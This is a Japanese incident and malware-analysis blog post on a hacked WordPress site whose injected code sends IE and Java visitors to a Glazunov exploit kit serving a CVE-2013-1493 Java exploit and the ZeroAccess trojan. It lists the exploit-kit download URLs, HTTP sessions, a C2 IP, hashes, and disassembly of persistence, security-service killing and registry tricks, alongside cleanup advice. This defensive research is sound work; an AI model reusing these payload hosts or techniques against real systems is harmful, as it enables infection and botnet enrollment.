hxxp://yusn・net国内にあるウェブサイトですね。このサイトは「GAZUNOV」エクスプロイトキットのマルウェア転送コードを発見しました。
ハッカーがFTP経由からそのサイトに入り、「WP Super Cache」古いバーションの環境がいじられて、色んなPHPファイルに転送コードが書かれて、IE(Firefox,Opera,Chrome,Safariではありません)とJavaが検索エンジンからのアクセスが来ると外にあるGLAZUNOV」エクスプロイトキットのサイトへ飛ばされて、Zero Access/MaxPlus/Sirerefのボットネット・トロイに感染されます。
本事件には.htaccess、php.ini、default.phpなどのマルウェアサイトの転送仕組みではありません。
さらにDarkleechやcDorked又はその他のサーバ経由のモジュールの感染仕組みと違います。
上記の動きの確認するのは中々難しい状況ですので、このブログで詳しい調査確認情報を書きます。
【感染の不具合について、転送動き】
本日22時に調査始めた時に下記の画像でした↓
普通にアクセスしたら何も起きなく見えてますね、トップページのソースとPCAPスナップショットも一応一緒にとりました↓
トップページのソースをもっと近くに見たら下記の様に見えています↓
では、ブラウザの条件を変えましょう、一番感染しやすいように設定を変更しました→「IE6、JavaありとRefererあり/直接アクセス無し」でもう一度アクセスしました、セッションキャップチャーとPCAPも取りましょう。
PCAPを見たらアクセスした時のHTTPセッションの流れは下記となります↓
友達に頼んでもう一度キャップチャーしてくれて、全体的なリクエスト情報を全て見えます↓
↑data by @kafeine, w/thank's
これでマルウェア感染の証明の証明が出来ました。
ノート:赤色マークしたのセッションはマルウェア感染3件のセッションですね。
上記の全体的なセッションの画像を見たら、下記のリクエストはマルウェア感染リクエストです↓
hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/733 hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/5504.zip hxxp://212.124.115.197-static.reverse.softlayer.com:8080/17371
取ったPCAPの全体的なダウンロードセッションを見たらトップページにマルウェア感染コードをインジェクションされました↓
↑その前に取ったトップページのソースと比べたら無かったコードでした。それはマルウェア感染コードで、
サイトのトップページにインジェクションされたコードです。もっとはっきり見えるようにしましょう↓
ブラウザから見るとindex.htmlに下記のコードを発見しました↓
↑JavaのJNLP機能を使っていますね、それで、インジェクションのコードに転送先のURLが書いてあります。
【使われたエクスプロイトキットの調査】
続いて、その3件のHTTPレクエストに戻ると、リクエストの種類を分析すると下記の説明です↓
(A) マルウェアドメイン:8080/3167716386/733 ← PluginDetect JavaScript(ブラウザ/Java/その他プラグインバーション確認コード)
(B) マルウェアドメイン:8080/3167716386/5504.zip ←ZIPでは無くJAR(JAVA実行ファイル)のExploit/感染ファイル
(C) マルウェアドメイン:8080/17371 ←マルウェアファイル、ハッシュ:0692549ab1d8641b03e8d71f455f81dc
それぞれのセッションを説明します!
(A)セッションを詳しく見たら↓
リクエスト↓
GET hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/733 HTTP/1.1 Accept: */* Referer: http://yusn.net/ Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Accept-Encoding: gzip, deflate Host: 212.124.115.197-static.reverse.softlayer.com:8080 Connection: Keep-Alive回答↓
HTTP/1.1 200 OK Connection: close Content-Type: application/javascript Content-Length: 30399 Server: Apache/2.2.9データはPluginDetectです、バーション0.8.1(最新版)が使われています。PLuginDetectはJavaScriptツールでブラウザとインストールされたプラグインの情報を確認が出来る為のソフトです↓
↑このPluginDetectのコードはトップページにインジェクションされたコードからコールされています。
(B)セッションはJARエクスプロイトファイルのダウンロードですね。
リクエスト↓
GET hxxp://212.124.115.197-static.reverse.softlayer.com:8080/3167716386/5504.zip HTTP/1.1 accept-encoding: gzip Cache-Control: no-cache Pragma: no-cache User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.7.0_07 Host: 212.124.115.197-static.reverse.softlayer.com:8080 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive回答↓
HTTP/1.1 200 OK Connection: close Content-Type: application/x-java-archive Content-Length: 9517 Server: Apache/2.2.9データはJARファイルですので、その中にはマルウェアダウンロードURL調べる方法があります↓
開いたら中にはエクスプロイトとマルウェアダウンロードURLがエンコーディングされています、下記はエクスプロイト情報↓
このjarがJava CVE-2013-1493のエクスプロイトですね、マークされたコードはCVE-2013-1493脆弱性が使われているcomponentとなります。脆弱性に影響されたJavaプラグインにヒットされたらマルウェアをダウンロードされます。
このjarをウイルストータルに確認すると↓
URL: https://www.virustotal.com/en/file/02f406c04fe119d262b9b0c3605c7b5b95380ce313bfbe3211c9e72a5160ccb9/analysis/1375117024/ SHA256: 02f406c04fe119d262b9b0c3605c7b5b95380ce313bfbe3211c9e72a5160ccb9 SHA1: ee040fdb8b969f938e54f14c399f7044713a08d9 MD5: a3a5a7eb0a8286ef83b6df86367c361a File size: 27.1 KB ( 27721 bytes ) File name: 5504.zip.jar File type: ZIP Detection ratio: 5 / 46 Analysis date: 2013-07-29 16:57:04 UTC ( 0 minutes ago )検知率が低い(5/46)ですね。
最後に...
(C)セッションはマルウェアファイル
リクエストは↓
GET hxxp://212.124.115.197-static.reverse.softlayer.com:8080/17371 HTTP/1.1 User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.7.0_07 Host: 212.124.115.197-static.reverse.softlayer.com:8080 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive回答↓
HTTP/1.1 200 OK Connection: close Content-Type: application/octet-stream Content-Length: 198144 Server: Apache/2.2.9データ↓
↑マルウェアPE(Windows実行)ファイルですね。「Zero Access / MaxPlus / Sireref」のトロイです。
マルウェアファイルをウイルストータルに確認したら、検知率はとても弱い(3/45)ですね↓
URL: https://www.virustotal.com/en/file/3f8bbf190de1628b2072f011000ebcd31516b9a136272c5d2439b889a112f38f/analysis/1375108446/ SHA256: 3f8bbf190de1628b2072f011000ebcd31516b9a136272c5d2439b889a112f38f SHA1: 76792ccbb16dcddfab877989a409a21d6b69d391 MD5: 0692549ab1d8641b03e8d71f455f81dc File size: 193.5 KB ( 198144 bytes ) File name: 0692549ab1d8641b03e8d71f455f81dc_kaf0x0 File type: Win32 EXE Detection ratio: 3 / 45 Analysis date: 2013-07-29 10:27:21 UTC ( 4 hours, 8 minutes ago )
では、全て取ったマルウェア感染ファイルを取りましたので、下記となります↓
【マルウェアpayloadのバイナリ調査】
ZeroAccessのバイナリ情報は↓
File Name: RegNow.exe File Size: 198144 byte Compile Time: 2013-07-29 17:18:01 DLL: False Sections: 6 MD5 hash: 0692549ab1d8641b03e8d71f455f81dc SHA-1 hash: 76792ccbb16dcddfab877989a409a21d6b69d391 None Anti Debug: None Anti VM: None File and URL: FILE: KERNEL32.dll FILE: USER32.dll FILE: ADVAPI32.dll FILE: GetRightToGo.com URL: None Suspicious API Functions: Func. Name: VirtualAlloc Func. Name: RegOpenKeyExA Sections: .text 0x1000 0x42d4 17408 .text2 0x6000 0xbb8 3072 .data 0x7000 0x2f4 512 .data2 0x8000 0x24ace 150528 .rsrc 0x2d000 0x6100 25088 .reloc 0x34000 0x128 512 Suspicious Sections: Sect. Name: .text2^@^@ MD5 hash: fc933babbe5ea56fb69561992f4fcfd0 SHA-1 hash: 634d68545ad9e1a2a9e265850e223f6a6c3702ed InternalName: RegNow Download Manager FileDescription: RegNow Download Manager FileVersion: 1.0.0 CompanyName: RegNow.com Translation: 0x0409 0x04e4 Resources Table: Name RVA Size Lang Sublang Type -------------------------------------------------------------------------------- RT_ICON 0x2d250 0x568 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT GLS_BINARY_LSB_FIRST RT_ICON 0x2d7b8 0x468 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT GLS_BINARY_LSB_FIRST RT_ICON 0x2dc20 0x2e8 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT data RT_ICON 0x2df08 0x8a8 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT data RT_ICON 0x2e7b0 0x10a8 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT data RT_ICON 0x2f858 0xea8 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT data RT_ICON 0x30700 0x25a8 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT data RT_GROUP_ICON 0x32ca8 0x68 LANG_INDONESIAN SUBLANG_ARABIC_EGYPT MS Windows icon resource - 7 icons, 16x16, 256-colors RT_VERSION 0x32d10 0x1e8 LANG_ENGLISH SUBLANG_ENGLISH_US data RT_MANIFEST 0x32ef8 0x206 LANG_ENGLISH SUBLANG_ENGLISH_US ASCII text, with very long lines, with CRLF line terminators上記の情報を見ると何時作った、どんな言語環境で作ったか分かりました。
.text2が非常にあやしいので、確認したら”encode”(encodeっていうか…暗号じゃないけど…沢山変なCHARが並べていくだけ…リバースの邪魔為に)のデータを発見↓
0000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 00A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................続いて、ここでリバースのスタートが出来ますが…↓
[0x00000cd0:0x004018d0]> 0x00000cd0 ; FUNCTION start 0x00000cd0 (01) 55 PUSH EBP 0x00000cd1 (02) 8bec MOV EBP, ESP 0x00000cd3 (01) 55 PUSH EBP 0x00000cd4 (06) 8f05d8714000 POP DWORD [0x4071d8] 0x00000cda (06) ff35d8714000 PUSH DWORD [0x4071d8] 0x00000ce0 (05) 68ed184000 PUSH DWORD 0x4018ed 0x00000ce5 (05) 68e0134000 PUSH DWORD 0x4013e0 0x00000cea (01) 59 POP ECX 0x00000ceb (01) 51 PUSH ECX 0x00000cec (01) c3 RET 0x00000cec ---------------------------------------------------------------------- 0x00000ced (01) 5d POP EBP :などなど…、グラフでは下記nお流れ↓
これ以上そんなに見えないので、バイナリーをdepackしてから調査続きます…
色々見えないなのは、例えば「.text」がエンコードされた状況、「.rdata」が暗号された..など、
…すると…下記の情報を発見↓
【マルウェアpayloadのリバース調査の結果】
Cryptoを発見↓
Microsoft Base Cryptographic Provider v1.0ニセGoogleアップデートプロセスを狙いそうですね(^^↓
GoogleUpdate.exe Google Update Service (gupdate) Keeps your Google software up to date. If this service is disabled or stopped, your Google software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This service uninstalls itself when there is no Google software using it.↑このニセGoogle Updateの情報をレジストリーにインジェクションされている↓
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Google Update Size: 394 Value: "<"C:\Documents and Settings\User\Local Settings\Application Data \Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\{HEX}\{6576a1a8-5f9f-db0e-2056-8660563a58ee} \GoogleUpdate.exe" >"さらにニセInstall Flash Playerに保存する動きも発見しました↓
.text:00402846 test esi, esi .text:00402848 jz loc_4028F2 .text:0040284E mov ecx, [ebp+var_10] .text:00402851 mov edx, offset aInstallflashpl ; "\\InstallFlashPlayer.exe" .text:00402856 call sub_4020DB .text:0040285B push ebx .text:0040285C lea eax, [ebp+var_18]レジストリーのオートスタートコード↓
\registry\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run //CODE: .text:004021F8 lea eax, [ebp+var_20] .text:004021FB push eax .text:004021FC push offset aWzSoftwareMi_0 ; "%wZ\\Software\\Microsoft\\Windows\\CurrentVersion\Run" .text:00402201 push edi ; wchar_t * .text:00402202 call ds:swprintfWindowsセキュリティソフトをチェック↓
Windows Defender Awscntfy.exe AMSASCui.exe AMpCmdRun.exe AMsMpEng.exe ANisSrv.exe Amsseces.exe A\registry\MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend \registry\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellServiceObjects\{FD6905CE-952F-41F1-9A6F-135D9C6622CC} A\registry\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\ShellServiceObjects\{F56F6FDD-AA9D-4618-A949-C1B91AF43B1A} Microsoft Security Client\\systemroot\\system32\\configの変更…ハードコーディングで…
.text:00402E62 mov esi, ds:wcslen .text:00402E68 push offset aSystemrootSyst ; "\\systemroot\\system32\\config" .text:00402E6D call esi ; wcslen .text:00402E6F add eax, eax .text:00402E71 movzx edi, ax .text:00402E74 mov [esp+4Ch+var_4C], offset aCWindowsSystem ; "c:\\windows\\system32\\config" .text:00402E7B call esi ; wcslen .text:00402E7D add eax, eax .text:00402E7F movzx ebx, axx64のチェック…
ProgramW6432= IsWow64HTTPリクエストコマンド、GeoIP←ZeroAccessがよーく使っています↓
GET /app/geoip.js HTTP/1.0 Host: j.maxmind.com Connection: close geoip_country_code j.maxmind.comレジストリーに下記の情報をころころリクエストされて…
\Microsoft\Windows\Safer\CodeIdentifiers\0\UrlZones \Microsoft\Windows\Safer\CodeIdentifiers\4096\Paths \Microsoft\Windows\Safer\CodeIdentifiers\4096\Hashes \Microsoft\Windows\Safer\CodeIdentifiers\4096\UrlZones \Microsoft\Windows\Safer\CodeIdentifiers\65536\Paths \Microsoft\Windows\Safer\CodeIdentifiers\65536\Hashes \Microsoft\Windows\Safer\CodeIdentifiers\65536\UrlZones \Microsoft\Windows\Safer\CodeIdentifiers\131072\Paths \Microsoft\Windows\Safer\CodeIdentifiers\131072\Hashes \Microsoft\Windows\Safer\CodeIdentifiers\131072\UrlZones \Microsoft\Windows\Safer\CodeIdentifiers\262144\UrlZones \Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths \Microsoft\Windows\Safer\CodeIdentifiers\262144\Hashes \Microsoft\Windows\Safer\CodeIdentifiers\0\Paths : :下記のレジストリーデータが削除された。。。
HKLM\System\CurrentControlSet\Services\SharedAccess\Enum HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List HKLM\System\CurrentControlSet\Services\SharedAccess\Setup HKLM\System\CurrentControlSet\Services\SharedAccess\Setup\InterfacesUnfirewalledAtUpdate HKLM\System\CurrentControlSet\Services\wscsvc HKLM\System\CurrentControlSet\Services\wscsvc\Enum HKLM\System\CurrentControlSet\Services\wscsvc\Parameters HKLM\System\CurrentControlSet\Services\wscsvc\Security実際にこのDLLを使っています(隠されたDLLが多い)↓
GDI32.dll USER32.dll IMM32.DLL ntdll.dll kernel32.dll Secur32.dll ←注意(確認・チェック・DEP) RPCRT4.dll ADVAPI32.dll USP10.dll LPK.DLL msvcrt.dll WS2HELP.dll WS2_32.dll ←注意(結構マルウェア使われています) SHLWAPI.dll SHELL32.dll comctl32.dll mswsock.dll ←注意(ネットワーク) hnetcfg.dll ←注意(ネットワーク) wshtcpip.dll ←注意(ネットワーク) rsaenh.dll ←注意(エンコーディング) crypt32.dll ←注意(エンコーディング) Apphelp.dll VERSION.dll保存されたファイル一覧は↓
C:\Documents and Settings\User\Local Settings\Application Data\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\❤≸⋙\Ⱒ☠⍨\ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\@ 2048 2009.01.09 10:54:24.984 2009.01.09 10:54:24.984 2009.01.09 10:54:24.984 0x26 C:\Documents and Settings\User\Local Settings\Application Data\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\❤≸⋙\Ⱒ☠⍨\ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\GoogleUpdate.exe 110592 2009.01.09 10:54:24.843 2009.01.09 10:54:24.828 2009.01.09 10:54:24.828 0x26 C:\Program Files\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\ \ \ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\@ 2048 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 0x26 C:\Program Files\Google\Desktop\Install\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\ \ \ﯹ๛\{6576a1a8-5f9f-db0e-2056-8660563a58ee}\GoogleUpdate.exe 110592 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 2009.01.09 10:54:25.000 0x26
【行動分析調査】
さて、最後に、実行しました。
マルウェアの起動動きは上記リバース通りで動いていますが、ネットワーク動きはこんな感じです↓
Sandboxの環境で実行されたら”必ず”クラッシュしてしまうwww
本物PCで確認しましうか?(^^; ↓
GeoIPリクエスト証拠と回答↓
本来「194.165.17.4」のCNC IPとZeroAccess ボットネットコミュニケーションを発見↓
「194.165.17.4」/CNCはロシアのIPですね…
順番敵に、この段取りでトラフィックが流れていました↓
↑上記3件の段取りですね。
上記の段取りのそれぞれ投げられたボットネットコマンドは下記となります↓
↑encryptedなプロトコルですね。
【結論】
1.本件の感染サイトは、.htaccess又はphp.ini又はdefault.php又はその他のサーバサイトのハッキングの原因でマルウェアインジェクションプログラムを入れてしまったそうですので、Apache周りファイルの全てを明確に御確認をお願いします。
2.暫くサービスを止めた方がいいと思います、結構沢山感染された方々が出れます。
3.ZeroAccess / MaxPlus / Sirefefのボットネットが結構広いネットワークが持っていますので、早めに止めたほうがいいと思います。
4.何か分からなかったら私に@unixfreaxjp(ツイッター)でご連絡下さい。
【色々追加情報】
(1)null embed トリック@レジストリー
除プロセスが出来ないようにレジストリーの「null embed」トリックを発見。
感染されたマシンに、レジストリーの所には「null embed」コードを発見しました。
見た目はこんな感じです↓
000011F0 50 00 61 00 72 00 61 00 6D 00 65 00 74 00 65 00 P a r a m e t e 00001200 72 00 73 00 00 00 2E 20 64 27 r s . d'↑これは非常に不味いので、マルウェアの除方法が危なくなる、下手になるとパソコンが再起動出来ない可能性が出ます。
このコードの目的は除プロセスの邪魔する方法ですね。
一応手で直す方法もあるけれど、HEXエディターで、一般ユーザは無理ですね…
マイクロソフト社がリリースしたツール「regdelnull hklm -s」のコマンドで使えば90%ぐらい直せる。
確実なのはレジストリーのバックアップを戻す方法です。
(2)Virtual Protectのバリューを弄る、DEP違反…
.text:00401C23 push esi .text:00401C24 push edi .text:00401C25 mov edi, ds:VirtualProtect .text:00401C2B lea eax, [esp+1A0h+flOldProtect] .text:00401C2F push eax ; lpflOldProtect .text:00401C30 push 40h ; flNewProtect .text:00401C32 mov esi, ebx .text:00401C34 push 7 ; dwSize .text:00401C36 sub esi, 5 .text:00401C39 push esi ; lpAddress .text:00401C3A call edi ; VirtualProtect .text:00401C3C test eax, eax .text:00401C3E jz short loc_401C66 .text:00401C40 mov eax, offset sub_401B91 .text:00401C45 sub eax, esi .text:00401C47 sub eax, 5 .text:00401C4A mov [esi+1], eax .text:00401C4D lea eax, [esp+1A0h+flOldProtect] .text:00401C51 push eax ; lpflOldProtect .text:00401C52 push [esp+1A4h+flOldProtect] ; flNewProtect .text:00401C56 mov byte ptr [esi], 0E8h .text:00401C59 push 7 ; dwSize .text:00401C5B push esi ; lpAddress .text:00401C5C mov byte ptr [esi+5], 0EBh .text:00401C60 mov byte ptr [esi+6], 0F9h .text:00401C64 call edi ; VirtualProtect :
(3)何回もSHELLで実行する積もりだね…
.text:004028DD lea eax, [ebp+ExecInfo] .text:004028E0 push eax ; lpExecInfo .text:004028E1 call ds:ShellExecuteExW .text:004028E7 test eax, eax .text:004028E9 jz short loc_4028DD .text:004028EB push 0Ch .text:004028ED call sub_40297A : ↓(この流れ…) : .text:00402774 var_D0 = dword ptr -0D0h .text:00402774 var_C0 = dword ptr -0C0h .text:00402774 ExecInfo = _SHELLEXECUTEINFOW ptr -6Ch .text:00402774 var_30 = dword ptr -30h .text:00402774 var_2C = dword ptr -2Ch .text:00402774 var_28 = dword ptr -28h .text:00402774 var_24 = dword ptr -24h .text:00402774 var_18 = dword ptr -18h .text:00402774 var_10 = dword ptr -10h .text:00402774 var_C = dword ptr -0Ch .text:00402774 var_8 = dword ptr -8 .text:00402774 hMem = dword ptr -4 :
(4)このコードでセキュリティ関係のサービスをKILLするつもりですね…
.text:00402CE2 sub esp, 1Ch .text:00402CE5 lea eax, [esp+1Ch+var_1C] .text:00402CE8 push eax ; lpServiceStatus .text:00402CE9 push 1 ; dwControl .text:00402CEB push esi ; hService .text:00402CEC call ds:ControlService ; Send a control code to a Win32 service .text:00402CF2 xor eax, eax .text:00402CF4 push eax ; lpDisplayName .text:00402CF5 push eax ; lpPassword .text:00402CF6 push eax ; lpServiceStartName .text:00402CF7 push eax ; lpDependencies .text:00402CF8 push eax ; lpdwTagId .text:00402CF9 push eax ; lpLoadOrderGroup .text:00402CFA push eax ; lpBinaryPathName .text:00402CFB push eax ; dwErrorControl .text:00402CFC push 4 ; dwStartType .text:00402CFE push 20h ; dwServiceType .text:00402D00 push esi ; hService .text:00402D01 call ds:ChangeServiceConfigW .text:00402D07 push esi ; hService .text:00402D08 call ds:DeleteService .text:00402D0E push esi ; hSCObject .text:00402D0F call ds:CloseServiceHandle .text:00402D15 add esp, 1Ch .text:00402D18 retn
(5)マルウェアのニセプロセスを立ち上がる←とのコード↓
.text:004030E6 mov edi, ds:OpenServiceW .text:004030EC mov ebx, 0F01FFh .text:004030F1 push ebx ; dwDesiredAccess .text:004030F2 push offset ServiceName ; "SharedAccess" .text:004030F7 push ebp ; hSCManager .text:004030F8 call edi ; OpenServiceW .text:004030FA test eax, eax .text:004030FC jz short loc_403105 .text:004030FE mov esi, eax .text:00403100 call sub_402CE2 : .text:00403105 push ebx ; dwDesiredAccess .text:00403106 push offset aIphlpsvc ; "iphlpsvc" .text:0040310B push ebp ; hSCManager .text:0040310C call edi ; OpenServiceW .text:0040310E test eax, eax .text:00403110 jz short loc_403119 .text:00403112 mov esi, eax .text:00403114 call sub_402CE2 : .text:00403119 push ebx ; dwDesiredAccess .text:0040311A push offset aWscsvc ; "wscsvc" .text:0040311F push ebp ; hSCManager .text:00403120 call edi ; OpenServiceW .text:00403122 test eax, eax .text:00403124 jz short loc_40312D .text:00403126 mov esi, eax .text:00403128 call sub_402CE2 : .text:0040312D push ebx ; dwDesiredAccess .text:0040312E push offset aMpssvc ; "mpssvc" .text:00403133 push ebp ; hSCManager .text:00403134 call edi ; OpenServiceW .text:00403136 test eax, eax .text:00403138 jz short loc_403141 .text:0040313A mov esi, eax .text:0040313C call sub_402CE2 : .text:00403141 push ebx ; dwDesiredAccess .text:00403142 push offset aBfe ; "bfe" .text:00403147 push ebp ; hSCManager .text:00403148 call edi ; OpenServiceW .text:0040314A test eax, eax .text:0040314C jz short loc_403155 .text:0040314E mov esi, eax .text:00403150 call sub_402CE2 : :
(6)マルウェアのバイナリーをdepackしてから↓
URL: https://www.virustotal.com/en/file/15537deeeee6bcf298a2a8035ee172b44abeb53b8b60bcc84492719a243c52c9/analysis/1375183950/ SHA256: 15537deeeee6bcf298a2a8035ee172b44abeb53b8b60bcc84492719a243c52c9 SHA1: 87829ea7487b92243dc29b986242dfee4d4a51bb MD5: 9a1b5d7e9f51f09a2a9d3b93bd5602ba File size: 108.0 KB ( 110592 bytes ) File name: sample File type: Win32 EXE Detection ratio: 14 / 46 Analysis date: 2013-07-30 11:32:30 UTC ( 0 minutes ago )以上
PS: English malware analysis is in here. English IR analysis of the hacked server is here.
【サーバの調査結果】
ハッキングの原因はFTPです。
感染仕組みの原因はWP-SUPER-CACHEの脆弱性です。
WP Super Cacheのハッキングについて、参考情報はこちらです。
感染されたファイルの証拠↓
サーバの管理者から調査依頼が頂きサーバの調査をやらせて頂きました。結果↓
To @sinrinet 調査完了です。11個wordpressのPHPにマルウェア転送コードを発見した(写真)、詳細はメールで送りました。 ケース:http://t.co/qrl1aDrhpi /cc @jpcert @kchr pic.twitter.com/QRZWKAlHTB
— Hendrik ADRIAN (@unixfreaxjp) July 31, 2013
↑サーバ側に発見したマルウェアコードについて、別途の調査レポートで書きます。
【対応方法】
・FTPのユーザとパスワード変更
・マルウェアファイル削除
・WP Super Cacheプラグインを削除
・WPバーションを最新版にアップグレード
調査担当者: @unixfreaxjp 0day.jp
クレジット: K-PROX製品(感染ログ)、@kafeine、@hugbomb、@malwaremustdie
0 件のコメント:
コメントを投稿